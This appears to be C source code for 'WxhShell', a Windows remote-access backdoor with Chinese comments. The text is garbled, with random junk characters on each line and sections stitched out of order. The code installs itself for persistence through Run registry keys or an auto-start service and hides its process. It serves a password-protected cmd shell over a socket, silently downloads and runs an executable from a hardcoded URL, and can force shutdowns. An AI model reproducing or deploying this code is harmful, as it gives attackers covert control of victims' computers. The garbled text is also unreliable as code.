  // 关机 5 *_#"  
  case 'd': { /l L*U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |UG)*t/  
    if(Boot(SHUTDOWN)) t&_lpffv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^^#A9AM  
    else { JFfx9%Fq  
    closesocket(wsh); lxZXz JkqZ  
    ExitThread(0); dImm},  
    } #7{a~-S  
    break; b11C3TyQT  
    } *RPI$0  
  // 获取shell zw?6E8$h  
  case 's': { C$8=HM3  
    CmdShell(wsh); e 6*=Si}V  
    closesocket(wsh); *3|KbCX  
    ExitThread(0); # V +e  
    break; * 7CI q  
  } _),@^^&x  
  // 退出 A Ho<E"R\  
  case 'x': { <$E8T>U  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M5]w U   
    CloseIt(wsh); R-ci?7dt3  
    break; /-T%yuU  
    } lI9 3{!+>  
  // 离开 5s;#C/ZZ  
  case 'q': { c!zu0\[Id  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;\h'A(  
    closesocket(wsh); 8g\.1<~  
    WSACleanup(); _>s.V`N'  
    exit(1); eX\t]{\oC  
    break; j.o)!S A  
        } 6*$N@>8&  
  } _wIAr  
  } fw<'ygd  
^#+9v  
  // 提示信息 /=%4gWtr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XIU2l}g  
} lG2){){j  
  } gb-n~m[y  
a`}-^;}SW  
  return; p~t$ll0s  
} ctf'/IZ5  
!|D,cs  
// shell模块句柄 F)C8LH  
int CmdShell(SOCKET sock) fI6F};I5}T  
{ *N7\d9y  
STARTUPINFO si; di"*K*~y  
ZeroMemory(&si,sizeof(si)); [X|P(&\hQd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @uc%]V<:k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pcE.  
PROCESS_INFORMATION ProcessInfo; gbvBgOp  
char cmdline[]="cmd"; fy-( B;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); epQ7@9,Q  
  return 0; qFay]V(O|  
} &kP>qTI^p~  
 M`bK   
// 自身启动模式 Q,>AT$|  
int StartFromService(void) GE>&fG  
{ ;I9D>shkc  
typedef struct H=0Y4 T@)T  
{ [.2>=3T  
  DWORD ExitStatus; O?P6rXKr  
  DWORD PebBaseAddress; FK->|  
  DWORD AffinityMask; cng 1k  
  DWORD BasePriority; h-<+Pjc  
  ULONG UniqueProcessId; qu?D`29  
  ULONG InheritedFromUniqueProcessId; t JJaIb6Xj  
}   PROCESS_BASIC_INFORMATION; 5z0SjQ  
by- B).7  
PROCNTQSIP NtQueryInformationProcess; b(wiJ&t  
,$*$w<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'E9\V\bi  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q WOd&=:  
G*ecM`Bl  
  HANDLE             hProcess; =T[kGg8`  
  PROCESS_BASIC_INFORMATION pbi; &TKB8vx=#  
%#= 1?1s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #fQStO  
  if(NULL == hInst ) return 0; 905 /4z'  
;#AV~Y- s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j &~OR6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (i {  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xR$xAcoSB  
ZZ.GpB.  
  if (!NtQueryInformationProcess) return 0; %0L 9)-R  
< d?O#(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UtzW5{  
  if(!hProcess) return 0; nP] ~8ViS  
'En6h"{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t'^/}=c-  
]2?t $"G8  
  CloseHandle(hProcess); Z O&5C6qa  
=YR/|9(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (R{W Jjj  
if(hProcess==NULL) return 0; pbJs3uIR  
z`lDD  
HMODULE hMod; Wfp[)MM;  
char procName[255]; L\pe  
unsigned long cbNeeded; <`BUk< uf#  
KATt9ox@  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TwY]c<t  
4~D?F'o  
  CloseHandle(hProcess); d&F8nBIM5  
~i(X{ ^,3  
if(strstr(procName,"services")) return 1; // 以服务启动 ~qs 97'  
4\>Cnc{  
  return 0; // 注册表启动 O",:0<  
} M*|x,K=U  
WJ8i,7  
// 主模块 VGkwrS;+I  
int StartWxhshell(LPSTR lpCmdLine) t=5 K#SX}  
{ 7&E3d P  
  SOCKET wsl; Ao(Xz$cQfW  
BOOL val=TRUE; YHl6M&*@  
  int port=0; OQA}+XO  
  struct sockaddr_in door; Fe}Dnv)}Z  
(z\@T`6`  
  if(wscfg.ws_autoins) Install(); %+qD-{&  
"d9"Md0k  
port=atoi(lpCmdLine); LJ9^:U  
}5\F<b^@Y  
if(port<=0) port=wscfg.ws_port; (z#qkKL{^  
{U>B\D  
  WSADATA data; VD,g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n)gzHch  
) m[0,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6Gwk*%sb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5$/ED3mcK  
  door.sin_family = AF_INET; Jc95Ki1X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @h$cHZ  
  door.sin_port = htons(port); %N04k8z  
QOB>Tv E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Hz `aj  
closesocket(wsl); ^fa+3`>  
return 1; 7E 6gXf.  
} x=(Q$Hl5  
/^SIJS@^`>  
  if(listen(wsl,2) == INVALID_SOCKET) { To.CY^M  
closesocket(wsl); "k[-eFz/@M  
return 1; ;N#d'E\  
} E9i M-Lw  
  Wxhshell(wsl); 1YL6:5n  
  WSACleanup(); 8c3Qd  
q#$Al  
return 0; ?#da4W  
{1Z8cV   
} Dyyf%'\M  
Wxx? iW ,  
// 以NT服务方式启动 [@(M%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Bvb.N$G  
{ E<y0;l?H<  
DWORD   status = 0; u_shC"X:  
  DWORD   specificError = 0xfffffff; B&3oo   
G(" S6u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xEb+sE6Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MOi.bHCQJP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .SzP ig  
  serviceStatus.dwWin32ExitCode     = 0; n]S DpptM  
  serviceStatus.dwServiceSpecificExitCode = 0; 5[suwaJQ  
  serviceStatus.dwCheckPoint       = 0; j51Wod<[  
  serviceStatus.dwWaitHint       = 0; `lygJI?H+{  
*:L-/Q)i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q8OA{EUtq  
  if (hServiceStatusHandle==0) return; :sDE 'o  
X:PB }  
status = GetLastError(); Y">m g=B  
  if (status!=NO_ERROR) 1j"_@?H[  
{ &3~lZa;D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; CobMagPhr  
    serviceStatus.dwCheckPoint       = 0; iZm# "}VG  
    serviceStatus.dwWaitHint       = 0; qz[qjGdHg  
    serviceStatus.dwWin32ExitCode     = status; n@>h"(@i  
    serviceStatus.dwServiceSpecificExitCode = specificError; iYJ:P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vz_ac vfk^  
    return; b|jdYJbol&  
  } IsP-[0it  
J8IdQ:4^l  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; P5-1z&9O  
  serviceStatus.dwCheckPoint       = 0; 0se0AcrW  
  serviceStatus.dwWaitHint       = 0; ts|dk%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); A8tzIh8  
} z B/#[~  
,t?c=u\5  
// 处理NT服务事件,比如:启动、停止 "u^%~2  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  =ie8{j2:  
{ Lxz!>JO>  
switch(fdwControl) c$fi3O  
{ cC@.&  
case SERVICE_CONTROL_STOP: D#"BY; J  
  serviceStatus.dwWin32ExitCode = 0; YNHQbsZUI,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dZ^(e0& :H  
  serviceStatus.dwCheckPoint   = 0; 7uy?%5  
  serviceStatus.dwWaitHint     = 0; f+3ico]f@  
  { ~hiJOaCzM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "wwAbU<  
  } t 3LRmjL  
  return; n/]w!  
case SERVICE_CONTROL_PAUSE: $FR1^|P/G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JzuU k  
  break; o9GtS$ O\  
case SERVICE_CONTROL_CONTINUE: xAlyik  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DPV>2' fV  
  break; TgC8EcLr  
case SERVICE_CONTROL_INTERROGATE: 'DLgOUvh  
  break; 10.u  
}; I'sq0^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `eZ +Pf".  
} {9mXJu$cc  
MC\rx=cR\  
// 标准应用程序主函数 R{6~7<m.  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (_2Iu%F  
{ _T\/kJ)Q\  
^v2-"mX<  
// 获取操作系统版本 AlPk o($E*  
OsIsNt=GetOsVer(); MZPXI{G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?so=k&I-M  
l  rRRRR  
  // 从命令行安装 g<b(q|  
  if(strpbrk(lpCmdLine,"iI")) Install(); [-Xz:  
Uw`YlUT\  
  // 下载执行文件 J)kH$!csi  
if(wscfg.ws_downexe) { yLFZo"r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $RAS pM  
  WinExec(wscfg.ws_filenam,SW_HIDE); $nf5bo/;  
} X6h@K</c^:  
 s*XE  
if(!OsIsNt) { UYw_k\  
// 如果时win9x,隐藏进程并且设置为注册表启动 *HC[LM  
HideProc(); <t~RGn3  
StartWxhshell(lpCmdLine); k 'CM^,F&  
} P }BU7`8  
else D6Q6yNE  
  if(StartFromService()) 5>S=f{ghFw  
  // 以服务方式启动 ng0tNifZ;  
  StartServiceCtrlDispatcher(DispatchTable); pYxdE|2j  
else 76'@}wNnw  
  // 普通方式启动 6_rgj{L  
  StartWxhshell(lpCmdLine); cu |S|]g  
YZ0y_it)  
return 0; \Ei(HmEU  
} bY@ S[  
;~^9$Z@%Q  
BI|BfO%F$j  
1K&_t  
=========================================== N'5AU (  
@gc|Z]CV  
G d%X> ~  
B)L=)N  
&gv{LJd5b  
%)t9b@c!}  
" J 7/)XS  
Q$`u=-h|  
#include <stdio.h> \gU=B|W  
#include <string.h> s3Wjg  
#include <windows.h> xPcH]Gs^b  
#include <winsock2.h> J$+K't5BZ  
#include <winsvc.h> U??T>  
#include <urlmon.h> =!R+0  
arQEi  
#pragma comment (lib, "Ws2_32.lib") vG2&qjY1  
#pragma comment (lib, "urlmon.lib") :c?}~a~JO(  
U%PII>s'#  
#define MAX_USER   100 // 最大客户端连接数 ~#]$YoQ&O  
#define BUF_SOCK   200 // sock buffer %C1*`"Jb&  
#define KEY_BUFF   255 // 输入 buffer .dE2,9{Z  
s{Wj&.)M  
#define REBOOT     0   // 重启 1woBw>g  
#define SHUTDOWN   1   // 关机 {hRM=f7  
2a,l;o$2&  
#define DEF_PORT   5000 // 监听端口 n){F FM  
bMCy=5  
#define REG_LEN     16   // 注册表键长度 ^Gt9.  
#define SVC_LEN     80   // NT服务名长度 n !oxwA!  
Cg]Iz< <bE  
// 从dll定义API  MYk%p'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Nn:>c<[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :~PzTUz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `A0trC3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HLruZyN4  
9)~Ha iVB  
// wxhshell配置信息 aP`[O]8j  
struct WSCFG { B |pdqSI  
  int ws_port;         // 监听端口 #q-7#pp  
  char ws_passstr[REG_LEN]; // 口令 A}h`%b  
  int ws_autoins;       // 安装标记, 1=yes 0=no _Pe,84Ro  
  char ws_regname[REG_LEN]; // 注册表键名 }i\U,mH0_&  
  char ws_svcname[REG_LEN]; // 服务名 lk[BS*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iC`mj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J;R1OJs S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '*d);{D8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CHGV1X,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xlHC?d0}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  W]aX}>0  
jn:9Cr,o;g  
}; qiyX{J7Z  
OtsW>L@ O(  
// default Wxhshell configuration "'9[c"Iz  
struct WSCFG wscfg={DEF_PORT, dU<qFxW  
    "xuhuanlingzhe", 2<X.kM?N{B  
    1, ^DaP^<V  
    "Wxhshell", I<}<!.Bc!  
    "Wxhshell", ?E2$  
            "WxhShell Service", HuRq0/"  
    "Wrsky Windows CmdShell Service", wVMR&R<t  
    "Please Input Your Password: ", @TqqF:c7  
  1, ]hC6PKJU  
  "http://www.wrsky.com/wxhshell.exe", S +mM S  
  "Wxhshell.exe" P)k!#*  
    }; loR,f&80=O  
-V\$oVS0S  
// 消息定义模块 JsY|Fv  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !o{>[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]A]EED.ZH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MzP q(`W  
char *msg_ws_ext="\n\rExit."; )_-EeH  
char *msg_ws_end="\n\rQuit."; KhFw%Z0s<  
char *msg_ws_boot="\n\rReboot..."; gOSFvH8FU  
char *msg_ws_poff="\n\rShutdown..."; 2*5]6B-(  
char *msg_ws_down="\n\rSave to "; r,FPTf  
qHtonJc  
char *msg_ws_err="\n\rErr!"; x<lY&KQ0  
char *msg_ws_ok="\n\rOK!"; XqxmvN  
[>#@?@x`P  
char ExeFile[MAX_PATH]; rq]zt2  
int nUser = 0; #l<un<  
HANDLE handles[MAX_USER]; 9irT}e  
int OsIsNt; %j7HIxZh  
jVxX! V  
SERVICE_STATUS       serviceStatus; 9%  wVE]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NKX62 ZC  
*l9Wj$vja  
// 函数声明 'ai3f  
int Install(void); wx]r{  
int Uninstall(void); [.[|rnil  
int DownloadFile(char *sURL, SOCKET wsh); 83[gV@LW0m  
int Boot(int flag); :@=;WB*0  
void HideProc(void); ijuIf9!  
int GetOsVer(void); >dU.ic?19  
int Wxhshell(SOCKET wsl); z<h?WsL  
void TalkWithClient(void *cs); ?mME^?x Mu  
int CmdShell(SOCKET sock); |9&bkojo  
int StartFromService(void); ]A%S&q  
int StartWxhshell(LPSTR lpCmdLine); 'Io2",~ M  
`COnb@uD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]@G$ L,3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 552U~t  
90rY:!e  
// 数据结构和表定义 =j&qat  
SERVICE_TABLE_ENTRY DispatchTable[] = 8+=-!": ]  
{ QH]G>+LI5  
{wscfg.ws_svcname, NTServiceMain}, vXUq[,8yf  
{NULL, NULL} K'tckJ#%  
}; ^{+,j}V_H  
CG397Y^  
// 自我安装 ]\ DIJ>JZ  
int Install(void) M>m+VsJV  
{ fx#Krr @  
  char svExeFile[MAX_PATH]; R&P}\cf8T  
  HKEY key; "gQA|NHwV  
  strcpy(svExeFile,ExeFile); +`_Km5=  
H-ewO8@  
// 如果是win9x系统,修改注册表设为自启动 FcI ZG _  
if(!OsIsNt) { h F4gz*Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E2%{?o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 27CVAX ghV  
  RegCloseKey(key); 898=9`7e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _ W +  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4w<4\zT_U}  
  RegCloseKey(key); {EL J!o[  
  return 0; |tua*zEsS  
    } 2z+-vT%  
  } \7elqX`.yY  
} fk!P#  
else { h^aUVuL/  
2nsW)bd  
// 如果是NT以上系统,安装为系统服务 q?TI(J+/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K2gg"#ft?  
if (schSCManager!=0) ~P@6f K/M  
{ @+EO3-X5  
  SC_HANDLE schService = CreateService @9ndr$t  
  ( uu`G<n  
  schSCManager, oD?c]}3  
  wscfg.ws_svcname, }bM=)eUfX  
  wscfg.ws_svcdisp, DI,8y"!5  
  SERVICE_ALL_ACCESS, !c#~g0H+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A!n)Fpk  
  SERVICE_AUTO_START, DwBKqhu  
  SERVICE_ERROR_NORMAL, {=A8kgt  
  svExeFile, yD\[`!sWk  
  NULL, -ZKo/ N>6}  
  NULL, j$Unw  
  NULL, 9d8bh4[  
  NULL, T>e4Og"?  
  NULL \ W.uV[\  
  ); |o0?u:  
  if (schService!=0) }_GI%+t  
  { < X&{6xu  
  CloseServiceHandle(schService); } 0^wJs  
  CloseServiceHandle(schSCManager); Z<M?_<3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jJU9~5i?  
  strcat(svExeFile,wscfg.ws_svcname); l$mfsm|{:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9EIOa/*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |',$5!:0O  
  RegCloseKey(key); H}}g\|r&  
  return 0; %"{jNC?  
    } [t.x cO  
  } ?Gr2@,jlD  
  CloseServiceHandle(schSCManager); 6Q}WX[| tQ  
} D qh rg;  
} 6 OLp x)fG  
x+B7r& #:  
return 1; )xPfz  
} "1X@t'H38  
gI5"\"T{  
// 自我卸载 IP3%'2}-  
int Uninstall(void) aW.[3M;?v  
{ O77bm,E  
  HKEY key; -Uu65m~:{k  
!GL kAV  
if(!OsIsNt) { n$z+g>~N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BL?Bl&p(  
  RegDeleteValue(key,wscfg.ws_regname); s4uYp  
  RegCloseKey(key); >56I`[)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }US^GEs(  
  RegDeleteValue(key,wscfg.ws_regname); 0Xx&Z8E  
  RegCloseKey(key); KM o]J1o  
  return 0; LRa^x44  
  } "pLWJvj6-  
} )*tV  
} WD${f#]N  
else { hNWZ1r~_  
$V?h68[c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6Rcl HU  
if (schSCManager!=0) BGO!c[-  
{ C!%\cy%Xj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^_C]?D?  
  if (schService!=0) IA&NMf;{  
  { 0S}ogU[k  
  if(DeleteService(schService)!=0) { /rQ[Ik$|  
  CloseServiceHandle(schService); \ =(r6X  
  CloseServiceHandle(schSCManager); +* AdSzX  
  return 0; .W/#$s|X\  
  } "z/)> ?Wn  
  CloseServiceHandle(schService); $~s|%>@  
  } %hM8px4d  
  CloseServiceHandle(schSCManager); ']]5xH*U  
} |'?./  
} F\lnG  
Rx,Qw> #  
return 1; /yhGc}h  
} Jq8CII  
$MPh\T  
// 从指定url下载文件 KbP( ;  
int DownloadFile(char *sURL, SOCKET wsh) Iq%f*Zm<  
{ a"6AZT"8  
  HRESULT hr; r iuG,$EX  
char seps[]= "/"; Utv#E.VI  
char *token; [>^xMF]$2  
char *file; %n7Y5|Uh  
char myURL[MAX_PATH]; 3LK]VuZE  
char myFILE[MAX_PATH]; ^xZo .P  
T)Ohk(jK1  
strcpy(myURL,sURL); |gP9^B?3  
  token=strtok(myURL,seps); Hvj1R.I/  
  while(token!=NULL) R<-u`uX nP  
  { pA|Z%aL  
    file=token; fVJsVZ"6v`  
  token=strtok(NULL,seps); zVL"$ )  
  } 9f/RD?(1O  
U|2*.''+Q  
GetCurrentDirectory(MAX_PATH,myFILE); J/ ! Mt  
strcat(myFILE, "\\"); %DqPRl.Gu  
strcat(myFILE, file); 1B#Z<p  
  send(wsh,myFILE,strlen(myFILE),0); -hjGPu  
send(wsh,"...",3,0); RqnT*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]u\K}n6[q  
  if(hr==S_OK) *RpBKm&^7  
return 0; /xseI)y.B  
else wAn}ic".b  
return 1; WhU-^`[*  
ZBX,4kxK7  
} YN<:k Wu  
Q;EQ8pL?"  
// 系统电源模块 &y~EEh|  
int Boot(int flag) Ta 0Ln  
{ E?@batIrf  
  HANDLE hToken; KTzkJx  
  TOKEN_PRIVILEGES tkp; |#x]FNg  
9"%ot=)  
  if(OsIsNt) { [ S_8;j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T+9#&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b7nER]R  
    tkp.PrivilegeCount = 1; &F xw19[G  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'c")]{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _ h7qS  
if(flag==REBOOT) { H7=[sL^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6gSo>F4=  
  return 0; (sHvoE^q-  
} 3$E\B=7/U  
else { 265sNaX  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #^Io9dA h  
  return 0; L(Ffa(i  
} k%[pZ 5.!  
  } |` +G7?)Y  
  else { U:[#n5g  
if(flag==REBOOT) { Z[&7NJo(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  ,m^@S  
  return 0; e,0y+~  
} .JG>/+  
else { FSp57W$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eC71;"  
  return 0; m:{ws~   
} @}Y,A~   
} <+%#xi/_  
k- ?:0  
return 1; 'Itsu~fza  
} 6,D)o/_  
Uz&XqjS  
// win9x进程隐藏模块 H%AF,  
void HideProc(void) fNkN  
{ #UO#kC<2(B  
Ig*qn# Dd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @fML.AT  
  if ( hKernel != NULL ) -5_[m@Vr  
  { |KM<\v(A{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); p? q~.YY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T{VdlgL  
    FreeLibrary(hKernel); .^Z^L F  
  } %#^)hX,+Q  
AZi|85rN  
return; >We:g Kxr  
} b<N962 q$q  
H+VKWGmfG  
// 获取操作系统版本 < mb.F-8  
int GetOsVer(void) IQz:D J  
{ +/L "A  
  OSVERSIONINFO winfo; qq)Dh'5*e,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j |N8"8"  
  GetVersionEx(&winfo); z g'1T2t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tBZ&h` V  
  return 1; ^3q o%=i  
  else &$!'Cw`,  
  return 0; J#pl7q)^w  
} "gR W91 T  
3*DwXH+  
// 客户端句柄模块 BV9%|  
int Wxhshell(SOCKET wsl) f8m%T%]f  
{ `(RQh@H  
  SOCKET wsh; RH=Tu6i  
  struct sockaddr_in client; tc_D8Q_  
  DWORD myID; c|s*(WljY  
?4]#gC ks  
  while(nUser<MAX_USER) x9c/;Q &m  
{ .7!n%Ks  
  int nSize=sizeof(client); 7Z(F-B +j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1 >nl ]yO  
  if(wsh==INVALID_SOCKET) return 1; gx*rxid  
x@@U&.1_A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PhS`,I^Z  
if(handles[nUser]==0) eTV%+  
  closesocket(wsh); Mk*&CNo3  
else Zv`j+b  
  nUser++; +&w=*IAKZ  
  } d]v4`nc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N<xf=a+j  
o9l =Q  
  return 0; b`4R`mo  
} RawK9K_1  
1>doa1  
// 关闭 socket x}w"2[fL  
void CloseIt(SOCKET wsh) '}`|QJ  
{ V ifQ@  
closesocket(wsh); /<HEcB  
nUser--; Y[A`r0  
ExitThread(0); =s2dD3Fr|  
} t5%\`Yo?  
*mc]Oa  
// 客户端请求句柄 &*}NN5Sv  
void TalkWithClient(void *cs) [I`r[u  
{ ; FO1b*  
k{fCU%  
  SOCKET wsh=(SOCKET)cs; jf&LSK;2  
  char pwd[SVC_LEN]; <eObQ[mQ  
  char cmd[KEY_BUFF]; Bh9O<|E  
char chr[1]; !Cm<K*c"&E  
int i,j; %'}L.OvG  
x,s Ma*vd  
  while (nUser < MAX_USER) { a:PS}_.  
kp4*|$]  
if(wscfg.ws_passstr) { @$5GxIw<l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e$k ]z HlQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >bf29tr  
  //ZeroMemory(pwd,KEY_BUFF); 0L34)W  
      i=0; hrwQh2sm  
  while(i<SVC_LEN) { AC=/BU3<yc  
RP 2MtP"M  
  // 设置超时 d(>7BV  
  fd_set FdRead; mulK(mp  
  struct timeval TimeOut; C] <K s  
  FD_ZERO(&FdRead); VQm)32'  
  FD_SET(wsh,&FdRead); C-;y#a)  
  TimeOut.tv_sec=8; \iQD\=o  
  TimeOut.tv_usec=0; p0KkPE">p4  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2V}tDN7c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q;T3bxp+  
|g5B==KI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;;zKHS  
  pwd=chr[0]; [<)/ c>Y  
  if(chr[0]==0xd || chr[0]==0xa) { )`RF2Y-A7  
  pwd=0; `"0#lZ`n  
  break; C+r<DC3  
  } Y",Fs(  
  i++; z$3 3NM  
    } Kilq Jg1%C  
Lm kv .XF  
  // 如果是非法用户,关闭 socket M DnT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZQT14.$L  
} m6a q_u{W  
+\FTR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5!ll #/ {`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /B$"fxFf  
ckqU2ETpD}  
while(1) { G?LPj*=$?  
%}+!%A.3  
  ZeroMemory(cmd,KEY_BUFF); 8K! l X  
kL.JrbM"  
      // 自动支持客户端 telnet标准   z6)SaSYE  
  j=0; &qki NS  
  while(j<KEY_BUFF) { Z!TLWX "  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `~Eo;'(+^  
  cmd[j]=chr[0]; Le9^,B@Pb  
  if(chr[0]==0xa || chr[0]==0xd) { m*L*# ZBS  
  cmd[j]=0; *P_ 3A:_  
  break; DLYk#d: q?  
  } 0]l _qxv  
  j++; \(t.|  
    } .+<Ul ]e/  
T}(J`{ 9i  
  // 下载文件 .6%-Il  
  if(strstr(cmd,"http://")) { =,0E]M Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); QN_Zd@K*A  
  if(DownloadFile(cmd,wsh)) Zx(VwB2   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1F*gPhm  
  else }&d@6m]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nB?$W4  
  } L]L-000D(  
  else { -LL49P6  
\|Pp%U [  
